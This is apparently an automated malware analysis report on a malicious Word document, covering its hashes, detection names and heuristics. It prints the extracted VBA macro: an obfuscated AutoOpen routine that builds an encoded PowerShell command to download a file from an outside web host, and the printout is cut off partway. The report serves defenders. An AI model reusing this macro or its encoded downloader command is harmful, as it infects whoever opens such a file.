Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 04c4c5b10bb23c21…

MALICIOUS

Office (OLE)

146.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: e5d491bc9a245bac14457d77225b75d6 SHA-1: bdcbf8ae39a173c85c1040d20236086a71c43349 SHA-256: 04c4c5b10bb23c21ad187eb45b94c064960be5c94a097bfe46be804f33c4355a
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening. The macro attempts to construct and execute a command, likely to download and run a second-stage payload. The ClamAV detection name 'Doc.Malware.Sagent-6697295-0' further supports its malicious nature.

Heuristics 5

  • ClamAV: Doc.Malware.Sagent-6697295-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6697295-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 48039 bytes
SHA-256: 3842267751285f0c8da315d227fdfe95eee7380cf9ae532e88d022b1f6f1db40
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const VYCAtyqIgEdyxyVYBuhYqiBAVeS = 0
Sub AutoOpen()
On Error Resume Next
Dim lEXapykahOBcyhoLYMSIVyCYkyheqy(4)

If 13 = 13 + (3 * 0) Then
lEXapykahOBcyhoLYMSIVyCYkyheqy(0) = CLng(133)
End If
lEXapykahOBcyhoLYMSIVyCYkyheqy(1) = Sqr(3)
lEXapykahOBcyhoLYMSIVyCYkyheqy(2) = Month(133133)
lEXapykahOBcyhoLYMSIVyCYkyheqy(3) = Fix(133.3)
Dim VuGyZitAwAdAaYmoDaqOhwIlaVEQUaIGyjY(4)

If 13 = 13 + (8 * 0) Then
VuGyZitAwAdAaYmoDaqOhwIlaVEQUaIGyjY(0) = CLng(8864)
End If
VuGyZitAwAdAaYmoDaqOhwIlaVEQUaIGyjY(1) = Sqr(8)
VuGyZitAwAdAaYmoDaqOhwIlaVEQUaIGyjY(2) = Month(88648864)
VuGyZitAwAdAaYmoDaqOhwIlaVEQUaIGyjY(3) = Fix(8864.8)
ReGYcyiExOTAWorYLjiRmfEvAsALUS = "d." + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "x" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + " /c p^O^w^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^R^s^H^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^L^L^.^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^x^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^n^A^G^8^A^c^g^B^s^A^H^g^A^b^w^B^h^A"
Dim iuSEiLixodEjSEManvajUMiFATwiBurOqy(4)

Dim XIhENOluqIBIPAXanIWALISoWEPzEbUnynecIDUDERo(4)

If 13 = 13 + (4 * 0) Then
XIhENOluqIBIPAXanIWALISoWEPzEbUnynecIDUDERo(0) = CLng(3473)
End If
XIhENOluqIBIPAXanIWALISoWEPzEbUnynecIDUDERo(1) = Sqr(4)
XIhENOluqIBIPAXanIWALISoWEPzEbUnynecIDUDERo(2) = Month(34733473)
XIhENOluqIBIPAXanIWALISoWEPzEbUnynecIDUDERo(3) = Fix(3473.4)
If 10 = 10 + (5 * 0) Then
Dim XAcOMAPXETYPoNBusukavIsaPIBOGeG(4)

If 12 = 12 + (6 * 0) Then
XAcOMAPXETYPoNBusukavIsaPIBOGeG(0) = CLng(862)
End If
XAcOMAPXETYPoNBusukavIsaPIBOGeG(1) = Sqr(6)
XAcOMAPXETYPoNBusukavIsaPIBOGeG(2) = Month(862862)
XAcOMAPXETYPoNBusukavIsaPIBOGeG(3) = Fix(862.6)
iuSEiLixodEjSEManvajUMiFATwiBurOqy(0) = CLng(4771)
Dim ZzIhuTewgutATysLUkUQAbOCeMiiupevojyQ(4)

If 12 = 12 + (8 * 0) Then
ZzIhuTewgutATysLUkUQAbOCeMiiupevojyQ(0) = CLng(1137)
End If
ZzIhuTewgutATysLUkUQAbOCeMiiupevojyQ(1) = Sqr(8)
ZzIhuTewgutATysLUkUQAbOCeMiiupevojyQ(2) = Month(11371137)
ZzIhuTewgutATysLUkUQAbOCeMiiupevojyQ(3) = Fix(1137.8)
End If
Dim FOzOrUTyFAQusizUTaneVokBAqUPE(4)

If 11 = 11 + (2 * 0) Then
FOzOrUTyFAQusizUTaneVokBAqUPE(0) = CLng(7948)
End If
FOzOrUTyFAQusizUTaneVokBAqUPE(1) = Sqr(2)
FOzOrUTyFAQusizUTaneVokBAqUPE(2) = Month(79487948)
FOzOrUTyFAQusizUTaneVokBAqUPE(3) = Fix(7948.2)
iuSEiLixodEjSEManvajUMiFATwiBurOqy(1) = Sqr(5)
iuSEiLixodEjSEManvajUMiFATwiBurOqy(2) = Month(47714771)
Dim bAPyTuiGeKoRymOzzAiuBzIjireKUBYdAqi(4)

If 11 = 11 + (7 * 0) Then
bAPyTuiGeKoRymOzzAiuBzIjireKUBYdAqi(0) = CLng(1025)
End If
bAPyTuiGeKoRymOzzAiuBzIjireKUBYdAqi(1) = Sqr(7)
bAPyTuiGeKoRymOzzAiuBzIjireKUBYdAqi(2) = Month(10251025)
bAPyTuiGeKoRymOzzAiuBzIjireKUBYdAqi(3) = Fix(1025.7)
Dim VuXODOdYPIVYblyvUqoaKyQIG(4)

If 11 = 11 + (2 * 0) Then
VuXODOdYPIVYblyvUqoaKyQIG(0) = CLng(8339)
End If
VuXODOdYPIVYblyvUqoaKyQIG(1) = Sqr(2)
VuXODOdYPIVYblyvUqoaKyQIG(2) = Month(83398339)
VuXODOdYPIVYblyvUqoaKyQIG(3) = Fix(8339.2)
iuSEiLixodEjSEManvajUMiFATwiBurOqy(3) = Fix(4771.5)
Dim vibATabOSYZIpUwAQiSUZExarYxOJa(4)
Dim pULeqISnecywugalmOgEJITAxIHy(4)

If 10 = 10 + (9 * 0) Then
pULeqISnecywugalmOgEJITAxIHy(0) = CLng(9040)
End If
pULeqISnecywugalmOgEJITAxIHy(1) = Sqr(9)
pULeqISnecywugalmOgEJITAxIHy(2) = Month(90409040)
pULeqISnecywugalmOgEJITAxIHy(3) = Fix(9040.9)

If 11 = 11 + (5 * 0) Then
vibATabOSYZIpUwAQiSUZExarYxOJa(0) = CLng(6719)
Dim zALYSyNuxIFiqitUrzaakykuJuLuGoSY(4)

If 10 = 10 + (3 * 0) Then
zALYSyNuxIFiqitUrzaakykuJuLuGoSY(0) =
... (truncated)